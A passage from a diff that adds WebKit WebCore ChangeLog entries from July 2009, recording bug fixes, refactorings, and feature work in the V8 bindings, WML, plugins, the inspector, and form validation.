+        (WebCore::DOMDataStore::InternalDOMWrapperMap::forgetOnly):
+        (WebCore::DOMDataStore::domData):
+        (WebCore::DOMDataStore::domNodeMap):
+        (WebCore::DOMDataStore::domObjectMap):
+        (WebCore::DOMDataStore::activeDomObjectMap):
+        (WebCore::DOMDataStore::domSvgElementInstanceMap):
+        (WebCore::DOMDataStore::domSvgObjectWithContextMap):
+        * bindings/v8/MainThreadDOMData.cpp: Added.
+        (WebCore::MainThreadDOMData::MainThreadDOMData):
+        (WebCore::MainThreadDOMData::getStore):
+        * bindings/v8/MainThreadDOMData.h: Added.
+        * bindings/v8/ScopedDOMDataStore.cpp: Added.
+        (WebCore::ScopedDOMDataStore::ScopedDOMDataStore):
+        (WebCore::ScopedDOMDataStore::~ScopedDOMDataStore):
+        * bindings/v8/ScopedDOMDataStore.h: Added.
+        * bindings/v8/StaticDOMDataStore.cpp: Added.
+        (WebCore::StaticDOMDataStore::StaticDOMDataStore):
+        * bindings/v8/StaticDOMDataStore.h: Added.
+        * bindings/v8/V8DOMMap.cpp:
+
+2009-07-27  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7091036> REGRESSION: Microsoft Messenger crashes during file send/receive due to use of WebKit on non-main thread
+
+        Add a method for detecting if we're being used within Microsoft Messenger.
+
+        * WebCore.base.exp: Export applicationIsMicrosoftMessenger and sort existing entries.
+        * platform/mac/RuntimeApplicationChecks.h:
+        * platform/mac/RuntimeApplicationChecks.mm:
+        (WebCore::applicationIsMicrosoftMessenger):
+
+2009-07-27  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Implement EventListener::reportError for V8 event listeners in worker context. 
+        https://bugs.webkit.org/show_bug.cgi?id=27731
+
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::reportError):
+        * bindings/v8/V8WorkerContextEventListener.h:
+
+2009-07-27  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Eric Seidel and David Levin.
+
+        Re-apply chromium/skia border fix (originally landed in r46157,
+        reverted in r46363), since it was not the cause of the reliability
+        failures in Chromium.
+
+        http://bugs.webkit.org/show_bug.cgi?id=27388
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::drawLine):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::setupPaintForStroking):
+
+2009-07-27  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Justin Garcia.
+
+        createMarkup does not handle CSS properly
+        https://bugs.webkit.org/show_bug.cgi?id=27660
+
+        This patch isolates code that creates markup for styles in addStyleMarkup
+        It also makes all presentational elements (u, s, strike, i, em, b, strong) special ancestor in createMarkup
+        so that we can assume no text decoration style is passed to addStyleMarkup.
+
+        * editing/markup.cpp:
+        (WebCore::propertyMissingOrEqualToNone): Changed the first argument from CSSMutableStyleDecleration to CSSStyleDeclaration
+        (WebCore::isElementPresentational): Used to be elementHasTextDecorationProperty, now supports presentational tags
+        (WebCore::addStyleMarkup): Adds markup for style span and div
+        (WebCore::createMarkup): Uses isElementPresentational and addStyleMarkup
+
+2009-07-27  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        fix more obvious global object lookups
+        https://bugs.webkit.org/show_bug.cgi?id=27745
+
+        No new tests for these changes.  I believe in many cases
+        testing to be impossible.  Lack of testing justification next to
+        each change below.  The remaining pieces of bug 27634 will all
+        need tests.
+
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::updateDocument): not testable.
+        * bindings/js/JSDataGridColumnListCustom.cpp:
+        (WebCore::JSDataGridColumnList::nameGetter): no testing for this incomplete feature.
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::handleEvent): would require outer frame to trigger an event in the inner frame
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS): covered by other tests, always correct to pass the globalObject through.
+        * bindings/js/JSHTMLElementCustom.cpp:
+        (WebCore::JSHTMLElement::pushEventHandlerScope): unclear when this could be triggered.
+        * bindings/js/JSHTMLOptionsCollectionCustom.cpp:
+        (WebCore::JSHTMLOptionsCollection::remove): toJS seems superfluous here to begin with.
+        * bindings/js/JSLazyEventListener.cpp:
+        (WebCore::JSLazyEventListener::parseCode): would require outer frame to trigger inner frame event.
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::jsObjectForPluginElement): only used for NPAPI binding, unclear how to test.
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener): unclear how to test.
+        * bindings/js/ScriptObject.cpp:
+        (WebCore::ScriptGlobalObject::set): unclear how to test/inspector only.
+        * bindings/js/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject): unclear how to test.
+        * bindings/objc/DOMInternal.mm:
+        (-[WebScriptObject _initializeScriptDOMNodeImp]): unclear how to test.
+
+2009-07-27  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] 'title' attribute handling not correct for <a> / <anchor> elements
+        https://bugs.webkit.org/show_bug.cgi?id=27720
+
+        Unify title() implementation in WMLElement instead of several copies of the same logic.
+        We forgot WMLAnchorElement/WMLAElement, that lead to bugs. Fixes hovering links in the
+        WML manual-test suite.
+
+        * wml/WMLCardElement.cpp:
+        * wml/WMLCardElement.h:
+        * wml/WMLElement.cpp:
+        (WebCore::WMLElement::title):
+        * wml/WMLElement.h:
+        * wml/WMLOptGroupElement.cpp:
+        * wml/WMLOptGroupElement.h:
+        * wml/WMLSelectElement.cpp:
+        * wml/WMLSelectElement.h:
+
+2009-07-27  Adam Treat  <adam.treat@torchmobile.com>
+
+        Speculative build fix for Windows and WinCE.
+
+        * plugins/win/PluginPackageWin.cpp:
+        (WebCore::PluginPackage::load):
+
+2009-07-27  Ojan Vafai  <ojan@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27474
+        Fixes crashes due to renderer getting destroyed in updateLayout.
+        We need to call updateLayout before we call into the renderer.
+        Removed the updateLayout call from RenderTextControl and moved it
+        into the calling sites.
+        
+        Also changes updateLayout to updateLayoutIgnorePendingStylesheets so
+        this works with pending stylesheets. Unfortunately, this seems to be
+        untestable. Loading an external stylesheet and then having an inline
+        script hit this code did not result in an pending stylesheets.
+        
+        The are other cases of this bug in the rendering code. I'll file a 
+        followup bug to audit the calls to updateLayout.
+
+        Test: fast/dom/text-control-crash-on-select.html
+
+        * dom/Document.h:
+        (WebCore::Document::inStyleRecalc): Added so the ASSERTs in updateFocusAppearance
+            and setSelectionRange could deal with cases of reentrancy into updateLayout
+            calls. This happens in a couple layout tests.
+        * dom/InputElement.cpp:
+        (WebCore::InputElement::updateSelectionRange):
+        * html/HTMLInputElement.cpp:
+        (WebCore::isTextFieldWithRendererAfterUpdateLayout):
+        (WebCore::HTMLInputElement::setSelectionStart):
+        (WebCore::HTMLInputElement::setSelectionEnd):
+        (WebCore::HTMLInputElement::select):
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::rendererAfterUpdateLayout):
+        (WebCore::HTMLTextAreaElement::setSelectionStart):
+        (WebCore::HTMLTextAreaElement::setSelectionEnd):
+        (WebCore::HTMLTextAreaElement::select):
+        (WebCore::HTMLTextAreaElement::setSelectionRange):
+        (WebCore::HTMLTextAreaElement::updateFocusAppearance):
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::setSelectionRange):
+
+2009-07-27  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Dave Levin.
+
+        [V8] Remove parameterless frame/window retrieval methods from V8Proxy.
+        https://bugs.webkit.org/show_bug.cgi?id=27737
+
+        Refactoring, no new behavior, covered by existing tests.
+
+        * bindings/v8/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::ScriptCallStack):
+        * bindings/v8/V8NPUtils.cpp:
+        (convertV8ObjectToNPVariant): Ditto.
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::retrieve): Ditto.
+        (WebCore::V8Proxy::canAccessPrivate): Ditto.
+        * bindings/v8/V8Proxy.h: Removed parameterless retrieveWindow/retrieveProxy decls.
+        * bindings/v8/custom/V8DatabaseCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Changed to use V8Proxy::retrieveFrameForCurrentContext().
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Ditto.
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Ditto.
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Ditto.
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Ditto.
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Ditto.
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Ditto.
+        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Ditto.
+
+2009-07-27  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] 'onpick' intrinsic event handling missing
+        https://bugs.webkit.org/show_bug.cgi?id=27723
+
+        Trigger 'onpick' intrinsic events from WMLOptionElement::setSelectedState().
+        All was in place, just forgot to enable the relevant code.
+
+        Fixes manual-tests/wml/select-onpick-event.wml
+        Test: wml/option-element-onpick.html
+
+        * wml/WMLOptionElement.cpp:
+        (WebCore::WMLOptionElement::setSelectedState):
+
+2009-07-27  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27735
+        Give a helpful name to JSLock constructor argument
+
+        * bindings/js/GCController.cpp:
+        (WebCore::collect):
+        (WebCore::GCController::gcTimerFired):
+        (WebCore::GCController::garbageCollectNow):
+        * bindings/js/JSCustomPositionCallback.cpp:
+        (WebCore::JSCustomPositionCallback::handleEvent):
+        * bindings/js/JSCustomPositionErrorCallback.cpp:
+        (WebCore::JSCustomPositionErrorCallback::handleEvent):
+        * bindings/js/JSCustomSQLStatementCallback.cpp:
+        (WebCore::JSCustomSQLStatementCallback::handleEvent):
+        * bindings/js/JSCustomSQLStatementErrorCallback.cpp:
+        (WebCore::JSCustomSQLStatementErrorCallback::handleEvent):
+        * bindings/js/JSCustomSQLTransactionCallback.cpp:
+        (WebCore::JSCustomSQLTransactionCallback::handleEvent):
+        * bindings/js/JSCustomSQLTransactionErrorCallback.cpp:
+        (WebCore::JSCustomSQLTransactionErrorCallback::handleEvent):
+        * bindings/js/JSCustomVoidCallback.cpp:
+        (WebCore::JSCustomVoidCallback::handleEvent):
+        * bindings/js/JSCustomXPathNSResolver.cpp:
+        (WebCore::JSCustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::handleEvent):
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        (WebCore::JSInspectorBackend::currentCallFrame):
+        (WebCore::JSInspectorBackend::profiles):
+        * bindings/js/JSNodeFilterCondition.cpp:
+        (WebCore::JSNodeFilterCondition::acceptNode):
+        * bindings/js/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::executeFunctionInContext):
+        * bindings/js/ScriptArray.cpp:
+        (WebCore::ScriptArray::set):
+        (WebCore::ScriptArray::createNew):
+        * bindings/js/ScriptCachedFrameData.cpp:
+        (WebCore::ScriptCachedFrameData::ScriptCachedFrameData):
+        (WebCore::ScriptCachedFrameData::restore):
+        (WebCore::ScriptCachedFrameData::clear):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate):
+        (WebCore::ScriptController::clearWindowShell):
+        (WebCore::ScriptController::initScript):
+        (WebCore::ScriptController::updateDocument):
+        (WebCore::ScriptController::bindingRootObject):
+        (WebCore::ScriptController::windowScriptNPObject):
+        (WebCore::ScriptController::jsObjectForPluginElement):
+        (WebCore::ScriptController::clearScriptObjects):
+        * bindings/js/ScriptControllerMac.mm:
+        (WebCore::ScriptController::windowScriptObject):
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
+        * bindings/js/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::appendArgument):
+        (WebCore::ScriptFunctionCall::call):
+        (WebCore::ScriptFunctionCall::construct):
+        * bindings/js/ScriptObject.cpp:
+        (WebCore::ScriptObject::set):
+        (WebCore::ScriptObject::createNew):
+        (WebCore::ScriptGlobalObject::set):
+        (WebCore::ScriptGlobalObject::get):
+        (WebCore::ScriptGlobalObject::remove):
+        * bindings/js/ScriptObjectQuarantine.cpp:
+        (WebCore::quarantineValue):
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/js/ScriptValue.cpp:
+        (WebCore::ScriptValue::getString):
+        * bindings/js/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::initScript):
+        (WebCore::WorkerScriptController::evaluate):
+        * bindings/objc/WebScriptObject.mm:
+        (-[WebScriptObject callWebScriptMethod:withArguments:]):
+        (-[WebScriptObject evaluateWebScript:]):
+        (-[WebScriptObject setValue:forKey:]):
+        (-[WebScriptObject valueForKey:]):
+        (-[WebScriptObject removeWebScriptKey:]):
+        (-[WebScriptObject stringRepresentation]):
+        (-[WebScriptObject webScriptValueAtIndex:]):
+        (-[WebScriptObject setWebScriptValueAtIndex:value:]):
+        (+[WebScriptObject _convertValueToObjcValue:originRootObject:rootObject:]):
+        * bridge/NP_jsobject.cpp:
+        (_NPN_InvokeDefault):
+        (_NPN_Invoke):
+        (_NPN_Evaluate):
+        (_NPN_GetProperty):
+        (_NPN_SetProperty):
+        (_NPN_RemoveProperty):
+        (_NPN_HasProperty):
+        (_NPN_HasMethod):
+        (_NPN_Enumerate):
+        (_NPN_Construct):
+        * bridge/c/c_class.cpp:
+        (JSC::Bindings::CClass::~CClass):
+        (JSC::Bindings::CClass::methodsNamed):
+        (JSC::Bindings::CClass::fieldNamed):
+        * bridge/c/c_instance.cpp:
+        (JSC::Bindings::CInstance::moveGlobalExceptionToExecState):
+        (JSC::Bindings::CInstance::invokeMethod):
+        (JSC::Bindings::CInstance::invokeDefaultMethod):
+        (JSC::Bindings::CInstance::invokeConstruct):
+        (JSC::Bindings::CInstance::getPropertyNames):
+        * bridge/c/c_runtime.cpp:
+        (JSC::Bindings::CField::valueFromInstance):
+        (JSC::Bindings::CField::setValueToInstance):
+        * bridge/c/c_utility.cpp:
+        (JSC::Bindings::convertValueToNPVariant):
+        (JSC::Bindings::convertNPVariantToValue):
+        * bridge/jni/jni_class.cpp:
+        (JavaClass::JavaClass):
+        (JavaClass::~JavaClass):
+        * bridge/jni/jni_instance.cpp:
+        (JavaInstance::stringValue):
+        * bridge/jni/jni_jsobject.mm:
+        (JavaJSObject::call):
+        (JavaJSObject::eval):
+        (JavaJSObject::getMember):
+        (JavaJSObject::setMember):
+        (JavaJSObject::removeMember):
+        (JavaJSObject::getSlot):
+        (JavaJSObject::setSlot):
+        (JavaJSObject::toString):
+        (JavaJSObject::convertValueToJObject):
+        (JavaJSObject::convertJObjectToValue):
+        * bridge/jni/jni_objc.mm:
+        (JSC::Bindings::dispatchJNICall):
+        * bridge/jni/jni_runtime.cpp:
+        (JavaMethod::signature):
+        * bridge/jni/jni_runtime.h:
+        (JSC::Bindings::JavaString::JavaString):
+        (JSC::Bindings::JavaString::_commonInit):
+        (JSC::Bindings::JavaString::~JavaString):
+        (JSC::Bindings::JavaString::UTF8String):
+        * bridge/jni/jni_utility.cpp:
+        (JSC::Bindings::convertValueToJValue):
+        * bridge/objc/objc_instance.mm:
+        (ObjcInstance::moveGlobalExceptionToExecState):
+        (ObjcInstance::invokeMethod):
+        (ObjcInstance::invokeDefaultMethod):
+        (ObjcInstance::setValueOfUndefinedField):
+        (ObjcInstance::getValueOfUndefinedField):
+        * bridge/objc/objc_runtime.mm:
+        (JSC::Bindings::ObjcField::valueFromInstance):
+        (JSC::Bindings::ObjcField::setValueToInstance):
+        * bridge/objc/objc_utility.mm:
+        (JSC::Bindings::convertValueToObjcValue):
+        (JSC::Bindings::convertNSStringToString):
+        (JSC::Bindings::convertObjcValueToValue):
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtRuntimeObjectImp::removeFromCache):
+        (JSC::Bindings::QtInstance::~QtInstance):
+        (JSC::Bindings::QtInstance::getQtInstance):
+        (JSC::Bindings::QtInstance::createRuntimeObject):
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::convertValueToQVariant):
+        (JSC::Bindings::convertQVariantToValue):
+        (JSC::Bindings::QtRuntimeMetaMethod::call):
+        (JSC::Bindings::QtRuntimeConnectionMethod::call):
+        (JSC::Bindings::QtConnectionObject::execute):
+        * bridge/runtime.cpp:
+        (JSC::Bindings::Instance::createRuntimeObject):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addScriptProfile):
+        * inspector/JavaScriptCallFrame.cpp:
+        (WebCore::JavaScriptCallFrame::evaluate):
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::recompileAllJSFunctions):
+        * inspector/JavaScriptProfileNode.cpp:
+        (WebCore::getTotalTime):
+        (WebCore::getSelfTime):
+        (WebCore::getTotalPercent):
+        (WebCore::getSelfPercent):
+        (WebCore::getNumberOfCalls):
+        (WebCore::getChildren):
+        (WebCore::getParent):
+        (WebCore::getHead):
+        (WebCore::getVisible):
+        (WebCore::getCallUID):
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::start):
+        (WebCore::getString):
+        (WebCore::PluginView::performRequest):
+        (WebCore::PluginView::bindingInstance):
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::dispatchNPEvent):
+        (WebCore::PluginView::handleKeyboardEvent):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::setNPWindowIfNeeded):
+        (WebCore::PluginView::stop):
+        (WebCore::PluginView::init):
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::stop):
+        (WebCore::PluginView::setNPWindowIfNeeded):
+        (WebCore::PluginView::dispatchNPEvent):
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::setNPWindowIfNeeded):
+        (WebCore::PluginView::stop):
+        (WebCore::PluginView::init):
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::dispatchNPEvent):
+        (WebCore::PluginView::handleKeyboardEvent):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::setNPWindowRect):
+        (WebCore::PluginView::stop):
+
+2009-07-27  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: Make plugin work for WINCE
+        https://bugs.webkit.org/show_bug.cgi?id=27713
+
+        * plugins/win/PluginDatabaseWin.cpp:
+        (SHGetValue):
+        (PathRemoveFileSpec):
+        (WebCore::addWindowsMediaPlayerPluginDirectory):
+        (WebCore::addMacromediaPluginDirectories):
+        * plugins/win/PluginPackageWin.cpp:
+        (WebCore::PluginPackage::load):
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::registerPluginView):
+        (WebCore::PluginView::wndProc):
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::paintWindowedPluginIntoContext):
+        (WebCore::PluginView::paint):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::setParent):
+        (WebCore::PluginView::setNPWindowRect):
+        (WebCore::PluginView::stop):
+        (WebCore::PluginView::init):
+
+2009-07-27  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Inspector: Tab Through Element Attributes and CSS Properties When Editing
+
+        https://bugs.webkit.org/show_bug.cgi?id=27673
+
+        Reviewed by Timothy Hatcher.
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement):
+        (WebInspector.ElementsTreeElement.prototype._startEditing): refactored parameter
+        (WebInspector.ElementsTreeElement.prototype._addNewAttribute): refactored to remove excess
+        (WebInspector.ElementsTreeElement.prototype._triggerEditAttribute): provide an attribute name and this will start editing it
+        (WebInspector.ElementsTreeElement.prototype._attributeEditingCommitted.moveToNextAttributeIfNeeded): move between attributes
+        (WebInspector.ElementsTreeElement.prototype._attributeEditingCommitted):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertiesSection.prototype.onpopulate):
+        (WebInspector.StylePropertiesSection.prototype.findTreeElementWithName): search through treeElements for a style property name
+        (WebInspector.StylePropertiesSection.prototype.addNewBlankProperty): initialize a blank property for adding new properties
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle): add references to the name and value elements
+        (WebInspector.StylePropertyTreeElement.prototype.):
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/inspector.js:
+        (WebInspector.startEditing.editingCommitted): include the move direction as a parameter to the commit callback
+        (WebInspector.startEditing.element.handleKeyEvent): handle the tab key to specify the move direction
+        (WebInspector.startEditing):
+
+2009-07-27  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        Add mapping FontWeight to QFont::Weight values as requested via FIXME.
+        https://bugs.webkit.org/show_bug.cgi?id=27663
+
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::FontPlatformDataCacheKey::FontPlatformDataCacheKey):
+        * platform/graphics/qt/FontPlatformData.h:
+        (WebCore::FontPlatformData::toQFontWeight):
+        * platform/graphics/qt/FontPlatformDataQt.cpp:
+        (WebCore::FontPlatformData::FontPlatformData):
+
+2009-07-27  Jakub Wieczorek  <faw217@gmail.com>
+
+         Reviewed by Adam Treat.
+
+         When clearing the plugin database, clear also the timestamp map.
+
+         https://bugs.webkit.org/show_bug.cgi?id=27651
+
+         Currently, if we clear the database, it will still think that it is up
+         to date with the plugin directories so refreshing the database again
+         after changing the search paths may not work.
+
+         * plugins/PluginDatabase.cpp:
+         (WebCore::PluginDatabase::clear):
+
+2009-07-27  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by David Levin.
+
+        Add in trivial implementation of FontPlatformData::description() for
+        linux to fix build bustage in chromium.
+
+        Fix chromium linux build by adding missing function implementation.
+        https://bugs.webkit.org/show_bug.cgi?id=27732
+
+        Tested with a build of chromium on linux.
+
+        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
+        (WebCore::FontPlatformData::description):
+        * platform/graphics/chromium/FontPlatformDataLinux.h:
+
+2009-07-27  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build correct, no review.
+
+        Final correction for WinCairo builds.
+        CoreServices only exists in Apple builds, but
+        some of its internal includes (e.g., <windows.h>) are needed
+        for other Windows targets.
+
+        * WebCorePrefix.h: When building for WinCairo, make sure
+          to include <windows.h>, <stdio.h>, and <ConditionalMacros.h>
+
+2009-07-27  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25552
+        Added new "pattern" attribute to HTMLInputElement and validation code
+        (validity.patternMismatch) as per HTML5 specs.
+        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#attr-input-pattern
+
+        Tests: fast/forms/ValidityState-002.html
+               fast/forms/ValidityState-patternMismatch-001.html
+               fast/forms/ValidityState-patternMismatch-002.html
+               fast/forms/ValidityState-patternMismatch-003.html
+               fast/forms/ValidityState-patternMismatch-004.html
+               fast/forms/ValidityState-patternMismatch-005.html
+               fast/forms/ValidityState-patternMismatch-006.html
+               fast/forms/ValidityState-patternMismatch-007.html
+               fast/forms/pattern-attribute-001.html
+               fast/forms/pattern-attribute-002.html
+               fast/forms/pattern-attribute-003.html
+
+        * html/HTMLAttributeNames.in: pattern attribute
+        * html/HTMLFormControlElement.h:
+        (WebCore::HTMLFormControlElement::patternMismatch): method definition
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::patternMismatch): validation method
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl:
+        * html/ValidityState.h:
+        (WebCore::ValidityState::patternMismatch): validation flag
+
+2009-07-27  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] Manual WML tests aren't properly working
+        https://bugs.webkit.org/show_bug.cgi?id=27718
+
+        Fix file paths in the manual WML layout tests, remove unneeded tests (already covered by DRT tests).
+        Add missing resources directory and test image. Reformat all testcases to a common style.
+        Add new StartTests.wml file, which should be used as starting point to crawl through the manual tests.
+
+        Filing bugs soon for all tests exposing bugs (7 in total).
+
+        * manual-tests/wml/StartTests.wml: Added.
+        * manual-tests/wml/a-br-element.wml:
+        * manual-tests/wml/a-element.wml:
+        * manual-tests/wml/a-img-element.wml:
+        * manual-tests/wml/access-target.wml:
+        * manual-tests/wml/anchor-br-element.wml:
+        * manual-tests/wml/anchor-element.wml:
+        * manual-tests/wml/anchor-img-element.wml:
+        * manual-tests/wml/card-newcontext-attr.wml:
+        * manual-tests/wml/card-onenterbackward.wml:
+        * manual-tests/wml/card-onenterforward.wml:
+        * manual-tests/wml/card-ontimer.wml:
+        * manual-tests/wml/card-title-attr.wml: Removed.
+        * manual-tests/wml/deck-access-control.wml:
+        * manual-tests/wml/go-element.wml: Removed.
+        * manual-tests/wml/input-emptyok.wml: Removed.
+        * manual-tests/wml/input-format.wml:
+        * manual-tests/wml/onevent-go.wml:
+        * manual-tests/wml/onevent-noop.wml:
+        * manual-tests/wml/onevent-prev.wml:
+        * manual-tests/wml/onevent-refresh.wml:
+        * manual-tests/wml/onevent-shadow.wml:
+        * manual-tests/wml/postfield-get.wml: Removed.
+        * manual-tests/wml/postfield-post.wml: Removed.
+        * manual-tests/wml/resources: Added.
+        * manual-tests/wml/resources/smiley.png: Added.
+        * manual-tests/wml/select-element.wml:
+        * manual-tests/wml/select-onpick-event.wml:
+        * manual-tests/wml/setvar-element.wml:
+        * manual-tests/wml/targetdeck.wml:
+        * manual-tests/wml/task-go-in-anchor.wml:
+        * manual-tests/wml/task-noop-in-do.wml:
+        * manual-tests/wml/task-noop-in-onevent.wml: Removed.
+        * manual-tests/wml/task-prev-in-anchor.wml:
+        * manual-tests/wml/task-refresh-in-anchor.wml:
+        * manual-tests/wml/template-go.wml:
+        * manual-tests/wml/template-onevent.wml: Removed.
+        * manual-tests/wml/template-ontimer.wml:
+        * manual-tests/wml/timer.wml:
+        * manual-tests/wml/variable-substitution.wml:
+
+2009-07-27  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix a regression introduced in r42671, which caused the js event 
+        object to be hidden (some websites depend on being able to access it).
+
+        https://bugs.webkit.org/show_bug.cgi?id=27719
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::invokeEventHandler): Make the event object visible to javascript, instead of hidden.
+
+2009-07-27  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Removing a no-op block of code in DatabaseTracker.cpp that
+        should've been removed in the patch for bug 26054.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27666
+
+        All tests in WebCore/storage pass.
+
+        * storage/DatabaseTracker.cpp:
+        (WebCore::DatabaseTracker::fullPathForDatabase): Removed a no-op
+        block of code that was moved to SQLiteFileSystem.cpp and should
+        have been removed from DatabaseTracker.cpp
+
+2009-07-27  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        Fix error handling in dedicated worker and worker context.
+        https://bugs.webkit.org/show_bug.cgi?id=27525
+
+        The following problems have been fixed:
+        1) The uncaught runtime script error is not reported using the
+        WorkerGlobalScope object's onerror attribute.
+        2) If the error is still not handled afterwards (onerror attribute
+        is not defined as a function or it returns true), the error should
+        be reported back to the associated Worker object by firing an
+        ErrorEvent.
+        3) If the error is still not handled by the associated Worker
+        object, the error should be reported to the user.
+
+        Test: fast/workers/worker-script-error.html
+
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::reportError):
+        * bindings/js/JSEventListener.h:
+        * dom/EventListener.h:
+        (WebCore::EventListener::reportError): adds a function to call
+        EventListener as a function with 3 arguments to report an error.
+        * workers/AbstractWorker.cpp:
+        (WebCore::AbstractWorker::dispatchScriptErrorEvent):
+        * workers/AbstractWorker.h:
+        * workers/DedicatedWorkerContext.cpp:
+        (WebCore::DedicatedWorkerContext::reportException):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::reportException):
+        * workers/WorkerContext.h:
+        * workers/WorkerMessagingProxy.cpp:
+        (WebCore::WorkerExceptionTask::performTask):
+        * workers/WorkerMessagingProxy.h:
+
+2009-07-27  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] History handling / page cache / loading is buggy and depends on several hacks
+        https://bugs.webkit.org/show_bug.cgi?id=27707
+
+        Redesign WML history/loading handling. In detail:
+
+        - Remove FrameLoader::setForceReloadWmlDeck(). WML used to force a special loading behaviour
+          by calling this method from WMLGoElement & friends - instead teach FrameLoader to detect
+          WML content itself.
+
+          WML content is usually a standalone WML document (isWMLDocument()=true) or as special case
+          an XHTML document which embeds a WML document (that's the way the WML layout tests work).
+          Force WML loading behaviour even for XHTML document which embed WML documents. This only
+          applies to our layout tests, not for any real world site. Though it gives us a perfect
+          way to test the WML loading code even when we're not operating on a standalone WML document.
+
+          Whenever a WMLCardElement is inserted into the document it will check wheter it's inserted
